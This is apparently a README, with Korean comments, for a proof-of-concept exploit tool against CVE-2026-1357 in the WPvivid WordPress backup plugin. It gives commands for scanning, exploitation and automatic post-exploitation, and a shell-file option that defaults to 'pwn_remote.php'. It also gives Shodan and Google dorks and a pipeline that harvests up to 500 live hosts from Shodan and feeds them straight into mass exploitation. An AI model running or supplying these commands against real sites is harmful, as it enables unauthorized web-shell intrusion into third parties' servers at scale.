git clone https://github.com/cybertechajju/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt

# 스캔만 (WordPress + WPvivid + 버전 탐지)
python3 cve_2026_1357.py -u http://target.com

# 스캔 + 악용 + 자동 사후 악용
python3 cve_2026_1357.py -u http://target.com --exploit

# 사후 악용 정찰 없이 악용
python3 cve_2026_1357.py -u http://target.com --exploit --no-post

# 보고서 포함 대량 스캔
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

# Burp 프록시 경유
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080

# 페이로드 전용 모드
python3 cve_2026_1357.py -u http://x --payload-only

-u, --url         단일 대상 URL
-l, --list        URL 목록 파일 (한 줄에 하나)
--exploit         악용 모드 활성화
--shell NAME      셸 파일명 (기본값: pwn_remote.php)
--no-post         사후 악용 정찰 건너뛰기
--report          Markdown PoC 보고서 생성
--report-dir DIR  보고서 출력 디렉토리
-t, --threads N   동시 스레드 수 (기본값: 5)
--timeout SECS    요청 시간 초과 (기본값: 10)
--proxy URL       Burp용 HTTP 프록시
--payload-only    base64 페이로드 출력 후 종료

# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"

# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"

# 파이프라인
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
  | awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

CVE-2026-1357-poc/
├── cve_2026_1357.py    ← 메인 도구 (스캐너 + 악용기 + 사후 악용)
├── dorks.md            ← Shodan/Google/Censys/FOFA/ZoomEye dorks
├── requirements.txt    ← Python 의존성
├── .gitignore
└── README.md           ← 이 파일